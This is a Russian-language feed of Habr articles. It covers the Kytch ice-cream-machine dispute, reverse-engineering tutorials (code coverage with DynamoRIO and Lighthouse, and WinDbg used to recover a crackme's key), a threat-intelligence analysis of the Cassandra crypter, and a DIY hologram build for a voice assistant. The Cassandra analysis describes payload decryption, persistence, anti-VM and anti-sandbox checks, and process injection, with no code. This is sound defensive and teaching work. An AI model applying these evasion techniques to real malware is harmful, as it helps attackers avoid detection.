После установки Kytch почти сразу стало ясно, что один чрезмерно усердный сотрудник заливал в один из приёмников машины слишком много смеси. Сегодня этот владелец просыпается в 5:30, берёт телефон, и убеждается в том, что все его машины прошли эту ненадёжную термообработку. Один техник по обслуживанию машин рассказал мне, что несмотря на то, что за последние два года Kytch почти удвоила стоимость своей приставки и добавила стоимость её активации в $250, она всё равно экономит владельцу франшизы как минимум тысячи долларов в месяц.

McD Truth по секрету сообщает, что Kytch всё равно редко удаётся предотвратить поломки машин для мороженого. Но без этих приставок работники ресторана всё равно в 9 из 10 случаев даже не сообщали владельцам о проблемах с этим агрегатом. Теперь, по крайней мере, последние получают предупреждение по емейл вместе с диагностикой проблемы. А это уже роскошь, пишет McD Truth. Kytch отличное устройство.


Устройство Kytch на базе Raspberry Pi, созданное для установки внутрь машины для мороженого от Taylor

Когда сарафанное радио франшиз McDonald's начало распространять информацию о Kytch, продажи компании начали удваиваться каждый квартал. ОСалливан и Нельсон наняли менеджера по продажам, ставшего у них третьим сотрудником, работающим полный день. К осени 2020 года во внутренности машины для мороженого от Taylor, расположенных по всему миру, проникло уже более 500 таких устройств. На основе статистики бесплатных испытаний компания прогнозировала, что к концу года они продадут ещё 500 штук. Однако империя мороженого, против которой они рискнули пойти, готовилась нанести ответный удар.

* * *

Через два дня после запуска Kytch в апреле 2019 года ОСалливан и Нельсон заметили, что их знакомый директор из Taylor разместил у них заказ. Написав ему письмо, они вежливо поинтересовались, на каком основании Taylor заинтересовалась их продуктом, и что она собирается с ним делать. Не получив ответа, они отменили заказ и вернули директору деньги.

Через пару месяцев они заметили ещё один странный заказ, на этот раз поступивший от Бринкса Гилсона, представителя сторонней юридической фирмы, с которой работала Taylor. Узнав его имя, они отменили и этот заказ. В последовавшие месяцы подозрительные заказы продолжались. И если большинство владельцев франшиз заказывали Kytch для своих ресторанов, эти подозрительные клиенты просили доставить им устройства на домашний адрес.

Сверяя эти адреса с имеющимися в свободном доступе базами, Нельсон и ОСалливан нашли на LinkedIn человека, у которого в профиле была указана Marksmen частная детективная компания, занимающаяся вопросами интеллектуальной собственности. Они начали подозревать, что Taylor наняла частных детективов, использовавших подложные имена в попытках заполучить устройство, взламывающее их машины.

Примерно тогда же Taylor отправила предпринимателям приказ о запрещении продолжения противоправного действия, требуя от них прекратить использование бренда Taylor на выставках. Так закончилась дружба компании с Frobot.

В последовавшие месяцы, пока продажи Kytch набирали обороты, странные заказы прекратили поступать, и явных признаков враждебного отношения со стороны Taylor не наблюдалось. Нельсон и ОСалливан обрадовались пришедшему в феврале 2020 года письму от Тайлера Гэмбла, главы подразделения по работе с оборудованием в Национальном совете по управлению поставками группы из руководства франшиз McDonald's.

До Гэмбла дошло множество слухов по поводу Kytch, как писал он в своём письме, и он хотел опробовать это устройство в 10 собственных ресторанах. ОСалливан вспоминает, что при разговоре по телефону Гэмбл был настроен дружественно и интересовался Kytch, но при этом предупреждал, что возможность обойти секретное меню Taylor вещь рискованная, способная вызвать гнев компании. И всё же Нельсон и ОСалливан заворожила возможность того, что Гэмбл использует своё огромное влияние на другие франшизы с целью рекламы их собственного продукта. Они выдали ему четыре устройства для испытаний.

В октябре того года на ежегодной конференции Национальной ассоциации владельцев франшиз Гэмбл в своей речи пообещал разобраться с проблемами клиентов с мороженым. По поводу машины для молочных коктейлей, хочу заверить вас, ребята, что я не буду считать свою работу в качестве главы по оборудованию успешной, если мы не найдём способ сделать так, чтобы McDonald's перестал быть мишенью для усмешек, сказал он, демонстрируя честную улыбку. Мы не остановимся, пока не исправим ситуацию.

Затем он, по сути, целую минуту рассказывал о Kytch и рекламировал их аппарат. У меня была возможность опробовать их устройства в своих ресторанах в течение нескольких месяцев, рассказал Гэмбл собравшимся. Правду сказать, это оборудование не одобрено McDonald's, и поставщики пока ещё не полностью согласны с его использованием. Но моя задача рассказывать вам об оборудовании и о том, как оно влияет на индустрию, и я действительно считаю, что это устройство способно снизить сложность управления ресторанов, облегчить вашей команде жизнь и усилить денежный поток.

ОСалливан и Нельсон, смотревшие эту речь по интернету из своей стойки на выставке, были в восторге. Они почти не обратили внимания на замечания не одобрено McDonald's, и поставщики пока ещё не полностью согласны. Казалось, что им удастся продать Kytch практически всем McDonald's в Америке.


После того, как гиганты фастфуда заморозили бизнес компании, сооснователи Kytch готовы дать им юридический отпор.

А затем 2 ноября грянул гром. Шокированный продавец Kytch переправил Нельсон и ОСалливан письмо, судя по всему, разосланное компанией McDonald's всем владельцам франшиз. В нём сначала предупреждалось, что установка Kytch нарушала условия гарантии на машины Taylor это знакомая угроза, исходящая от корпораций, борющихся против права на ремонт руками клиентов. Затем там заявлялось, что Kytch открывает доступ к контроллеру оборудования и конфиденциальным данным (то есть, данным, принадлежащим Taylor и McDonald's, а не владельцам ресторанов), создаёт потенциально большой риск безопасности для команды или техников, пытающихся почистить или починить машину, и что оно может привести к серьёзным травмам. Последним предупреждением в письме шло следующее: McDonald's настоятельно рекомендует удалить устройство Kytch из всех машин и перестать его использовать.

На следующий день McDonald's отправил другое сообщение всем владельцам франшиз, сообщая о выходе нового аппарата Taylor Shake Sundae Connectivity по сути, дублирующего многие функции Kytch. В письме повторялось предупреждение против использования Kytch.

В последовавшие месяцы владельцы ресторанов отменили сотни подписок, испытательных сроков и обещаний установить Kytch, и все планы компании по продажам вылетели в трубу. Новых клиентов найти стало невозможно. Их единственный продажник, шокированный происходящим, уволился.

Когда журнал WIRED связался с компаниями McDonald's и Taylor, компании повторили предупреждение о том, что Kytch представляет опасность для работников и техников. Обслуживание и работа со специальным оборудованием, разработанным Taylor, производящим мягкое мороженое и коктейли, может быть сложной, пишет представитель Taylor. Все проверки, встроенные в контроллер оборудования, предназначены для защиты оператора и техника, взаимодействующих с машиной.

Что касается подсоединённого к интернету аппарата от Taylor, похожего на Kytch, компания просто сообщила, что Taylor не имитировала устройство от Kytch и не имела такого желания. В компании утверждают, что разрабатывали такое устройство уже много лет, параллельно с другим кухонным устройством для интернета Open Kitchen, которое продаёт другое подразделение родительской компании Taylor, Middleby.

Никто из владельцев франшиз, общавшихся с редакцией, никогда не слышал об устройстве Open Kitchen, и не видел машину Taylor Shake Sundae Connectivity в работе. McDonald's говорит, что с октября это устройство испытывают всего несколько десятков ресторанов.

Все владельцы согласились с тем, что идея о возможности причинения вреда людям устройством Kytch притянута за уши, а то и вовсе невозможна. Команды Kytch обычно не влияют на работу движущихся частей машины, и в инструкции по использованию машины Taylor сказано, что при обслуживании и разборке машины её сначала надо отключить от сети.

McD Truth утверждает, что емейлы из McDonald's, убившие Kytch, произрастают из цели Taylor создать собственную систему, похожую на Kytch, а также из долгосрочного сотрудничества McDonald's с Taylor. В конце концов, последняя производит не только машины для мороженого, но и грили, на которых жарятся главная продукция компании, бургеры. Возможно также, что McDonald's испугалась возможности устройства Kytch собирать проприетарные данные по продажам мороженого.

Ещё один владелец франшизы назвал этот разнос от McDonald's подозрительным и очень уж неуклюжим. Он сказал, что не видел ничего подобного за 25 лет владения закусочными.

* * *

После того, как McDonald's и Taylor разбомбили их стартап, Нельсон и ОСалливан стали подозревать, что две компании каким-то образом заполучили в свои руки устройство Kytch, чтобы если и не скопировать, то испытать его. Однако Kytch требовала от клиентов подписать контракт, запрещающий им отдавать своё устройство кому бы то ни было. Кто же его передал?

Парочка начала своё расследование. Они вспомнили, что Тайлер Гэмбл рассказал им шесть месяцев назад, что в одной из его машин от Taylor, оборудованных устройством Kytch, полетел компрессор. Когда они встречались с Гэмблом на конференции, тот упомянул, что машину ещё ремонтируют что показалось им странным. На починку компрессора не нужно шесть месяцев.

После краха их бизнеса ОСалливан и Нельсон начали изучать авторизации на веб-сайте Kytch, и увидели, что одна из учётных записей, связанная с той машиной Гэмбла, которую отправили в ремонт, была удалена через пару месяцев после рокового емейла от McDonald's в ноябре. Имя удалённого пользователя было Мэтт Уилсон. Был ли Уилсон одним из сотрудников Гэмбла? Они начали отслеживать его местонахождение на основе IP-адресов сетей, из которых он логинился, и нашли там IP из Арканзаса, Теннеси и Луизианы.

Ни одна из этих точек не совпала с местонахождением ресторанов Тайлера Гэмбла. Зато все они совпадали с местонахождением предприятий, которыми владела компания TFG дистрибьютор машин для мороженого от Taylor.

Нельсон и ОСалливан были в дружеских отношениях с директорами TFG, когда работали над Frobot. Они начали рыться в своих старых контактах, и нашли визитку Блэйна Мартина, одного из владельцев TFG, передавшего её им на выставке. И они были поражены, поняв, что его телефон использовали при создании учётной записи Мэтта Уилсона.

Судя по всему, их устройство заполучил дистрибьютор Taylor. И они начали подозревать, что никакого сломанного компрессора не было, и устройство передал ему их друг Тайлер Гэмбл.

Теперь они заявляют, что Гэмбл одновременно хвалил Kytch со сцены на конференции в октябре, и помогал Taylor разрушить их стартап это было хладнокровное предательство.

* * *

Теперь они надеются, что месть это блюдо, которое следует подавать посредством долгого и сложного юридического разбирательства. Планируемый ими иск основан на заявлениях о том, что Гэмбл, и, вероятно, другие пользователи Kytch, нарушили их контракты с компанией, позволив Taylor изучить устройства, заискивая таким образом перед McDonald's и их корпоративными союзниками.

Однако сооснователи Kytch не скрывают, что их юридические угрозы остановятся на этом. Они собираются идти до самого конца, вплоть до всей сети McDonald's. Мы уверены, что узнаем всё, что нам нужно, чтобы полностью расквитаться со всеми виновными, прогнозирует ОСалливан.

Taylor возражает, что не имеет и не имела в распоряжении устройства Kytch, и что ничего не знает о том, что кто-то логинился на веб-сайт компании. Однако отмечает, что наш дистрибьютор в Теннеси сообщил, что их техник удалил устройство Kytch, чтобы обслужить наше устройство. Дистрибьютор TFG никак не отреагировал на запросы на комментарии, а Тайлер Гэмбл не ответил на наши вопросы. Однако в ответе на наше письмо он назвал себя первейшим сторонником Kytch и утверждал, что поддерживал стартап публично и частным порядком. Странно, что они собираются судится с человеком, выступавшим за них и с их клиентом, писал Гэмбл, но правда выплывет наружу.

Вне зависимости от того, как будет разворачиваться юридический конфликт, бывший технический советник и инвестор стартапа, Хуанг, утверждает что попытки McDonald's и Taylor раздавить крохотный стартап являются формой признания его значимости. Когда крупные игроки приходят к тебе и начинают бить себя в грудь, они как бы признают тебя угрозой альфа-самцу, говорит Хуанг, у принадлежащего которому акселератора Hax до сих пор есть небольшая доля в компании. Это показывает, что на Kytch есть спрос, и что это устройство могло нарушить текущее положение вещей. Однако если большие парни не справляются, или хотят похитить идею, иногда им проще просто спрятать тело.

Что до Нельсон и ОСалливана, у них нет никаких иллюзий по поводу того, что их судебный процесс защитит Kytch от попыток McDonald's и Taylor уничтожить стартап. В одном из последних разговоров ОСалливан признал, что он считает эту статью чем-то вроде некролога его компании, после того, как её успешно уничтожили гиганты фастфуда.

Иногда он вроде бы признаёт, что смертельные битвы, которые его стартап ведёт, связаны с такой банальностью, как мороженое из фастфуда. Мы хотим, чтобы мир узнал об этом, потому что всё это крутится вокруг мороженого! сказал ОСалливан в какой-то момент с отчаянием.

Однако же иногда он описывает историю Kytch как борьбу Давида с Голиафом за право на ремонт, или даже ещё больше: как отважную попытку исправить не очень критичную, но очень распространённую часть мировой инфраструктуры. И эта попытка провалилась не из-за недостатков оборудования, но из-за людей, его контролирующих и для некоторых из них было бы лучше, если бы оно оставалось сломанным.

Есть машина для мороженого, мрачно говорит ОСалливан, а есть машина, стоящая за этой машиной. И для взлома последней им пока не удалось найти секретного кода.
Подробнее..

Binary Coverage для Reverse Engeneering

09.06.2021 18:07:37 | Автор: admin

Покрытие кода - процедура, которая помогает исследователям понять, насколько много фрагментов алгоритма приложения задействовано в обработке данных. Обычно эта процедура используется для того, чтобы найти уязвимые места программного обеспечения. В этой статье мы на практике посмотрим, как можно использовать этот инструмент для упрощения процедуры исследования кода приложения.

Набор инструментов и настройка стенда

Для того, чтобы настроить стенд и подобрать набор инструментов для анализа приложения, нужно разобраться, как работает процедура определения покрытия кода. Покрытие кода обычно определяется количеством задействованных строк исходного кода в процессе работы приложения над подаваемыми данными. Эти данные могут быть представлены файлом, куском оперативной памяти или просто сетевым пакетом: они выбираются на основании алгоритма приложения. Вот такой пример исследования кода можно нагуглить за несколько секунд:

Все просто - части кода могут быть выделены цветом только в том случае, если эта часть алгоритма была выполнена в ходе обработки данных. Иногда можно встретить статистическое описание с количеством подходов к выполнению строк, но это работает, если мы говорим о исследовании покрытия с исходным кодом. В статье мы будем концентрироваться на определении покрытия кода без наличия исходного кода приложения.

Какой в данном случае подход к исследованию приложения? Необходимо определиться с базовой единицей, которая будет описывать фрагмент алгоритма, и затем с помощью условных точек останова отладчика посчитать, сколько раз алгоритм проходил через эти базовые единицы. В результате можно увидеть покрытие кода. Очень часто покрытие показывают в количественном соотношении всех единиц алгоритма относительно тех, которые работали за один запуск приложения. Для примера приведем картинку таких исследований ниже:

На картинке в качестве базовых единиц используется количество базовых блоков из dll библиотек ОС Windows. Также можно брать в качестве базовых единиц:

  • строку дизассемблированного листинга

  • базовый блок алгоритма, обычно это строки дизассемблированного листинга между условными переходами (джампами)

  • блоки между инструкциями вызовов функций - call

Для простоты будем использовать в статье подход к исследованию с использованием следующей базовой единицы - дизассемблированный код между условными переходами. Настало время определиться с инструментами.

Описание стенда и набора инструментов

Для исследований приложений будем пользоваться:

  1. IDA Pro в качестве навигатора по дизассемблированному коду

  2. Проект DinamoRIO как инструмент построения покрытия кода

  3. Плагин IDA Pro LightHouse как инструмент визуализации покрытия кода для исследования алгоритма

  4. Виртуальная машина Windows 10

  5. Virtual Box в качестве среды виртуализации

План исследования будет очень прост. Берем рандомное приложение из набора CrackMe. Будем пользоваться вот этим ресурсом. Чтобы не разбираться с тем, как передать данные приложению, желательно выбирать CrackMe, которые принимают параметры из командной строки - так будет проще запускать инструменты для покрытия кода. Вообще это не ограничение, при желании можно написать обертку и просто передавать ей параметры. Но так как мы хотим проверить работоспособность нашего подхода к исследованию, будем использовать наименее трудозатратный подход. В качестве подопытного образца возьмем вот это приложение.

Практика

При установке инструментов особых сложностей возникнуть не должно. Проблемы могут появиться при настройке плагина для IDA Pro. Чтобы его установить, нужно сделать следующие действия:

  • Открыть исследуемый файл в IDA Pro

  • В строке IDAPython набрать команду: idaapi.get_user_idadir()

  • Полученный путь скопировать в проводник, если в результирующей директории нет директории plugins, создать её

  • скопировать содержимое директории репозитория plugins в директорию, созданную в предыдущем шаге

  • перезапустить IDA Pro

После успешной установки, должно появиться дополнительная опция в меню File:

Теперь можно приступать к сбору данных о приложении. Для сбора информации о покрытии кода, будем использовать инструмент drrun.exe с плагином drcov. Результирующая командная строка будет выглядеть так:

drrun -t drcov -logdir ./ --  KeygenMe.exe

Выбирать инструмент drrun нужно в соответствии с разрядностью исследуемого файла, так как в релизной версии DinamoRIO есть несколько версий приложения. В нашем случае берем инструмент из bin32. В результате в директории будет создан файл с расширением ".proc". Это файл с информацией о покрытии кода. Его нужно загузить в IDA Pro через опцию, котрая появилась после установки плагина. Результат представлен ниже на снике:

Цетовая схема показывает какие участки кода работали чтобы алгоритм мог обработать подаваемые данные.

Кстати, если перевести в режим декомпиляции, то цветовая схема сохраняется. Теперь наглядно видно, какие условия у нас уже отработали и какие условия еще не запускались.

Выводы

Используя методы покрытия кода, можно ускорить процесс исследования приложения. Собранные профилирующие данные помогают исследовать алгоритм более полно и показывают, как работает алгоритм наглядно.


Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса Reverse-Engineering. Professional.

Всех желающих приглашаем принять участие в бесплатном двухдневном интенсиве по теме: "Пишем дампер процессов"


Подробнее..

Использование Windbg для обратной разработки

16.06.2021 00:20:01 | Автор: admin

Статья представляет собой мануал по тому как пользоваться Windbg. Будет рассмотрена "классическая" версия отладчика. Настроим внешний вид и изучим команды, которые можно использовать для исследования приложения.

Установка

Установка возможна только при использовании Windows SDK. Версию для Windows 10 можно найти здесь. Для работы с отладчиком необходимо запустить процесс установки SDK и выбрать только опции с набором инструментов для отладки. Пример выбора представлен на снимке ниже.

После установки набора инструментов, можно найти все файлы в директории "Windows Kits". Отладчик устанавливается сразу для нескольких версий процессоров. Для выполнения дальнейших команд в мануале нужно выбирать соответствую исследуемому файлу архитектуру процессора. Для исследования возьмем вот этот файл и попробуем найти ключ. Перед началом исследования файла, рекомендуется сделать дополнительную настройку:

  • Установить директорию и сервер для отладочных символов Проще всего это сделать можно через меню: File->Symbol File Path. В открывшемся меню нужно прописать вот эту строку: "SRVC:\symbolshttp://msdl.microsoft.com/download/symbols". Затем создать директорию C:\symbols;

  • Установить WorkPlace с удобной раскладкой рабочих панелей. Взять готовый Workspace можно отсюда. В итоге, если запустить для теста notepad.exe в отладчике, он будет выглядеть вот так:

Теперь можно перейти к исследованию команд. Откроем в отладчике файл и приступим.

Набор команд и анализ приложения

Полный справочник по всем командам отладчика можно найти по команде ".hh". Появится справка, как на рисунке ниже. Здесь можно вводить описание или конкретную команду.

Любой набор команд, который можно представить просто списком не имеет большой полезности, поэтому все команды, которые будут описываться в статье, будут сопровождаться примером применения. Начнем с простого.

  1. Определим откуда начинается выполнение приложения. Если не вдаваться в подробности, то самое начало работы приложения это EntryPoint из заголовка файла, однако это не совсем так. EntryPoint для современных языков программирования сегодня это начало подготовительных операций для работы всего приложения. Поэтому если необходимо найти код, который был написан программистом, нам придется еще немного попутешествовать по дизасемблированному листингу.

Первая команда - lm. Показывает список модулей, которые загружены в память процесса, по выдаче этой команды можно получить базовый адрес файла.

Главные команды, которые станут глазами и ушами при исследовании данных в оперативной памяти - d? (b,c,a,p,w,q). Команда показывает дамп памяти по указанному адресу. Можно использовать конкретный адрес или регистр. Например, можно посмотреть как выглядит часть заголовка файла в памяти:

Команда !dh разбирает файл и показывает заголовки. Нам нужен файловый заголовок, поэтому добавим флаг -f. Если необходимо показать все данные о файловых и секционных заголовках, то можно не дополнять команду.

Как видно на рисунке, данные, которые выдает команда, могут быть использваны для локализации данных внутри файла.

Локализуем точку входа с помощью суммирования базового адреса и информации из заголовка. Выполнить эту опирацию можно рядом команд: ? - выполнение выражения, uf - дизассемблирование функции, bp - установка точки останова. А теперь по порядку на примере:

Расчет адреса.

Дизассемблирование функции от адреса до ret команды.

Установка точки останова, кстати, чтобы управлять точками останова, можно менять последнюю букву команды. На рисунке показан пример установки точки останова и просмотр списка существующих точек через команду bl.

Чтобы дойти до точки останова, можно ввести команду, которая используется для выполнения алгоритма приложения - g.

Как только алгоритм загрузчика ОС выполнит все подготовительные действия мы увидим в командной строке следующие данные:

Можно приступать к поиску функции main. Сделать это достаточно просто, необходимо локализовать константы из интерфейса файла, когда выполняется приветствие и запрос данных:

Для поиска данных будем использовать команду s. Эта команда проводит поиск по определенному в команде объему данных. Соответственно чтобы получить данные о местоположении приглашения к вводу ключа, нужно указать всё адресное пространство исследуемого приложения. Так же необходимо указать тип данных, которые нужно искать.

Теперь, когда мы знаем адрес данных, которые используются, мы можем поставить точку останова, которая будет следить за доступом к данным. Сделать это можно с помощью команды ba. Для такой точки останова нужно указывать размер данных за которыми отладчик будет наблюдать, а там же адрес и тип доступа. Адрес должен быть выровнен по границе в 4 байта. После становки снова нужно запустить приложение через команду g. На рисунке ниже показан вариант команды:

Когда сработает точка останова, нужно найти часть алгоритма приложения, которая печатает приветствие на экран. Для этого удобно использовать стек вызовов функций. Для этого можно выполнить команду k.

Из рисунка видно, что копирование строки для работы с ней выполняется библиотечной функцией, а её вызов был сделан из "For_Crackme+0x15f2".

2. Локализуем функцию проверки ключа. Функция проверки будет недалеко от предложения ввести данные пользователя. В прошлом этапе мы нашли смещение внутри функции до этой операции. Введем можифицированную команду uf - u для того чтобы посмотреть несколько команд после адреса "For_Crackme+0x15f":

Фрагмент кода не содержит дополнительных отладочных символов, поэтому просто просмотрим данные рядом:

  • offset For_Crackme+0x40a2

  • offset For_Crackme+0x40bb

Чтобы это сделать, используем команду db:

Похоже, что функция подготавливает данные для выдачи информации пользователю. Значит проверка ключа должна быть где-то рядом. Обратим внимание на 2 константы, которые помещаются в память через следующие команды:

...00401612 c744241c30372f31 mov     dword ptr [esp+1Ch],312F3730h0040161a c7442420302f3937 mov     dword ptr [esp+20h],37392F30h...

Если раскодировать константы, то мы получим вот такое значение: "07/10/97". Выполнить раскодирование может помочь команда .formats 312F3730h. Из списка форматов нас интересует Char или символьное представление. Стоит помнить, что данные в памяти хранятся в LittleEndian формате, поэтому если прочитать наоборот, то получатся данные необходимые для прохождения валидации.

Таким образом можно анализировать приложения с использованием Windbg и не прибегать к дополнительному инструментарию.


Статья написана в преддверии старта курса "Reverse-Engineering. Professional". Напоминаем о том, что завтра пройдет второй день бесплатного интенсива по теме "Пишем дампер процессов". Записаться на интенсив можно по ссылке ниже:

Подробнее..

Cassandra криптор, который любит держаться в тени

16.06.2021 18:22:08 | Автор: admin

Ни один атакующий не хочет, чтобы его инструменты обнаружили и раскрыли раньше времени. Поэтому, как правило, в чистом виде никто вредоносные программы не распространяет. Например, пользователю прилетело фишинговое письмо от имени известной транспортной компании и просят проверить документы во вложении. Подобные письма достаточно часто являются началом атаки, так было и в этом раз. Внутри архива находился исполняемый файл Cassandra Crypter популярный криптор, полезной нагрузкой которого могут выступать различные семейства вредоносного программного обеспечения. Алексей Чехов, аналитик CERT-GIB, рассказывает, как Cassandra проникает на компьютер жертвы и приводит с собой других незваных гостей.

Работу Cassandra можно условно разделить на два этапа. На первой стадии загружается вспомогательная библиотека, которая извлекает основную часть криптора из исходного файла. На второй криптор раскрывает весь свой потенциал.

Первая стадия

Cassandra маскируется под легитимное приложение. В точке входа располагается стандартная для приложений Windows Forms функция запуска.

Конструктор формы также выглядит стандартным, ничем не отличающимся от легитимного приложения.

При детальном анализе был обнаружен вызов функции aaa(), которая содержит вредоносный функционал. Ее вызов приводит к расшифровке и подгрузке вспомогательной dll.

Для расшифровки используется алгоритм AES.

После подгрузки вспомогательной dll вызовется одна из её функций, в результате чего будет получена и запущена вторая стадия криптора.

Вторая стадия содержится в изображении, в зашифрованном виде, в исходной сборке.

Для расшифровки используется операция XOR, ключом для расшифровки являются первые 16 байтов исходного изображения.

В первой стадии злоумышленники практически не используют средства противодействия анализу, отладки и так далее, за исключением обфускации дополнительной библиотеки.

Вторая стадия

Вторая стадия представляет собой исполняемый файл .Net Framework.

Конфигурационный файл

Ключ, который используется на первой стадии расшифровки пейлоада

"baAsaBBxDT"

Поле, содержащее пейлоад в расшифрованном виде

Поле содержащее сырой (не разобранный) конфиг

"0||0||0||0||0||||||0||0||0||0||||||||||||||0||0||0||0||0||0||0||0||v2||0||3046||0||0||||||0||0||0||||"

Поле, содержащее подготовленный конфиг

Поле, содержащее флаг типа инжекта

0

Поле, содержащее флаг закрепления в системе

0

Поле, содержащее имя файла после закрепления в системе

"YhwcrydjrNS"

Поле, содержащее название мьютекса

"ljrSLVyCApWxcUE"

Неиспользуемое поле

0

Поле, содержащее информацию об использовании загрузчика

0

Поле, содержащее информацию о пути до загруженного файла

0

Поле, содержащее ссылку на пейлоад

0

Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск

0

Поле, содержащее информацию об использовании Anti-VM/Sandbox-функции, осуществляющей поиск строк в пути файла

0

Неиспользуемое поле

0

Неиспользуемое поле

0

Поле, содержащее информацию об использовании Fake MessageBox

0

Текст заголовка Fake MessageBox

0

Текст Fake MessageBox

0

Информация о кнопках Fake MessageBox

0

Информация об иконке Fake MessageBox

0

Количество секунд, в течение которых приложение будет бездействовать

0

Функция, осуществляющая разбор конфигурационного файлаФункция, осуществляющая разбор конфигурационного файла

Полезная нагрузка

Полезная нагрузка содержится в крипторе в зашифрованном виде. Расшифровка проходит в два этапа:

1. В цикле осуществляется побайтовый XOR шифрограммы, ключа и значения операции XOR от последнего элемента байта шифрограммы и 112. Полученные значения сохраняются в созданный массив. Ключ для первой стадии содержится в конфигурационном файле.

2. Осуществляется дешифрование, аналогичное тому, что было на первой стадии: используется операция XOR, в качестве ключа используются первые 16 байтов массива, полученного на первом этапе.

Закрепление в системе

Закрепление в системе осуществляется через создание отложенной задачи. Файл копируется в директорию AppData//{имя файла, заданное в конфиге}+.exe. После этого исходный файл удаляется и создается задача на выполнение.

Anti-VM

В функции осуществляется поиск виртуальных видеоадаптеров и специфических ключей реестра, свойственных для виртуальных машин.

Anti-Sandbox

Реализованы три функции противодействия песочнице:

  • Детект изолированной среды. Функция проверяет путь до исполняемого файла и ищет в нём специфические строки, таких как \\VIRUS, SAMPLE, SANDBOX и т.д. Также осуществляется поиск окна, свойственного WindowsJail, и библиотеки SbieDll.dll, загруженной в процесс.

  • Попытка обхода песочницы по таймауту. Реализована при помощи стандартной процедуры Sleep.

  • Попытка обхода песочницы по user activity. Реализована при помощи показа Fake MessageBox.

Защита от повторного запуска

Реализована путем создания мьютекса с заданным именем в системе.

Функционал

Downloader

Реализована функция загрузки пейлоада из сети.

Запуск полезной нагрузки

Содержит два варианта запуска пейлоада:

1. Загрузка в память при помощи функций .Net Framework.

2. Инжект полезной нагрузки в запущенный процесс. Есть возможность выбора из нескольких процессов.

На данный момент Cassandra достаточно распространенный тип крипторов. Как правило, злоумышленники используют его в массовых рассылках, чтобы незаметно запускать на машине пользователя вредоносное ПО. Cassandra позволяет запускать даже хорошо изученные семейства ВПО.

Подробнее..

Визуализация голосового помощника Алисы с эффектом голограммы

28.05.2021 12:18:53 | Автор: admin

Привет, Хабр! Говорят, лень - это двигатель прогресса. Но никто не говорил, что этот самый двигатель, будет быстрым. Моя история о том, как я делал визуализацию голосового помощника Алисы с эффектом голограммы из подручных материалов.

Вступление

Мне всегда нравилась идея визуализации ассистентов, т.к. через визуализацию передаются "эмоции" человеку, что позволяет воспринимать устройство не как коробку с динамиком (или как бы сказал один журналист "девчонку в коробчонке"), но и как питомца. Почему-то крупные производители голосовых помощников не делают подобных устройств.

Например, у меня есть робот голосовой помощник "Vector" от Anki (сейчас им владеет Digital Dream Labs). Он отлично передает эмоции (радость, огорчение, злость и т.д.), когда с ним взаимодействуешь. Но его проблема в том, что программная часть голосового помощника Vector очень слабая по сравнению с такими гигантами как Alexa, Google Assistant, Siri, Алиса.

Робот Vector от AnkiРобот Vector от Anki

Недавно Яндекс выпустил умную колонку Яндекс.Станция Макс с LED-дисплеем. Через дисплей, голосовой помощник "Алиса" дополняет свои ответы анимацией и выражает "эмоции". И это уже хороший шаг в сторону визуализации голосового помощника, но все равно этого недостаточно для меня.

Яндекс.Станция Макс с LED-дисплеемЯндекс.Станция Макс с LED-дисплеем

Бороздя просторы интернета во время всеобщего карантина, я увидел пост о том, как Джарем Арчер сделал рабочий концепт голограммы голосового помощника Cortana от Microsoft. Я вдохновился этой идеей и захотел это повторить, только вместо Кортаны, взять Алису от Яндекса.

Посмотрев, как Джарем сделал визуализацию Кортаны и прикинув по стоимости необходимые компоненты, понял, что это выйдет дороговато для моего первого, домашнего проекта. Т.к. я живу в населенном пункте с численностью населения не больше 2000 человек и с одним местным продуктовым магазином, то все компоненты нужно было заказывать через интернет, а доставка до меня очень долгая. Поэтому решил использовал всё то, что было под рукой:

  • Старый монитор c TFT матрицей (BenQ GW2750HM)

  • Старый ноутбук (core 2 duo p7350, GeForce 9300M, 4Gb RAM)

  • 3D-принтер (Tevo Tarantula 2017)

  • RGB-светодиодная лента

  • Arduino Nano

Дисклеймер по качеству фото

Не сразу додумался фотографировать весь процесс создания, поэтому фото были сделаны на свой старенький Xiaomi

Корпус

Джарем использовал портативный USB монитор. Вес и толщина монитора очень маленькая, что позволяет сделать для него тонкий корпус. В моей же ситуации нужен был надежный и прочный корпус, чтобы мог выдержать старый, тяжелый монитор. Поэтому я смоделировал корпус под свой монитор.

Модель делал в Autodesk Fusion 360. Сама модель состоит из нескольких частей и ее, в теории, можно сделать под любой размер монитора.

В основании корпуса есть углубления по бокам, чтобы туда приклеить светодиодную ленту и вставить платформу из оргстекла для подсветки основания, но позже я столкнулся с проблемой, что найти/заказать оргстекло сложно, поэтому основание сделал из ДСП. Ножки не планировал добавлять т.к. изначально думал, что конструкция будет стоять на основании корпуса, дабы пыли и шерсти под ней не было, а ноутбук будет рядом. Но уже после того, как напечатал модель, понял, что ноутбук отлично влезает под корпус и ножки делал уже из брусков дерева.

Модель корпуса в Autodesk Fusion 360Модель корпуса в Autodesk Fusion 360

3D печать

Для печати корпуса выбрал ABS пластик т.к. он прочный и легко поддается обработке. Но есть и минусы: дико воняет и сильно чувствителен к сквозняку. На печать всех компонентов ушло дней 5 почти непрерывного печатания. Поэтому запах в доме еще долго не мог уйти.

Напечатанный корпусНапечатанный корпус

Печатал первый раз и из-за того, что 3D-принтер был без внешнего корпуса, а дома был сквозняк, некоторые детали были с сильным браком и пришлось мастерить внешний корпус принтера из того, что было дома (спортивный коврик и полотенце). После этого детали стали немного лучше, но все равно были косяки, которые были терпимыми.

После печати деталей обработал их наждачной бумагой, нанес грунтовку и покрасил в черный матовый цвет.

Эффект голограммы

Эффект голограммы создается просто: сверху лежит монитор, изображение попадает на стекло, которое стоит под определенным углом.

У стекла есть эффект раздвоения изображения (особенно, если стекло толстое), когда изображение отображается на передней и задней стороне стекла. Чтобы это убрать, с обратной стороны наклеил антибликовую пленку.

Первая проверка работы "голограммы"Первая проверка работы "голограммы"

Из-за того, что использовал TFT-матрицу, угол обзора получился плохим. Если на фронтальной части хорошо видно модель, то на боковых стеклах видно только под определенным углом.

В финальной части для корпуса сделал крышку, чтобы закрыть монитор и провода, а под основанием добавил ножки, чтобы расположить ноутбук. Из куска подвесного потолка сделал "юбку", чтобы скрыть все что находится под корпусом. На внутреннюю часть "юбки" и сзади корпуса приклеил RGB светодиодную ленту на алюминиевое основание, а над стеклами вывел светодиод для эффекта как будто с этого диода проецируется голограмма.

Полностью собранный корпусПолностью собранный корпус

Программная часть

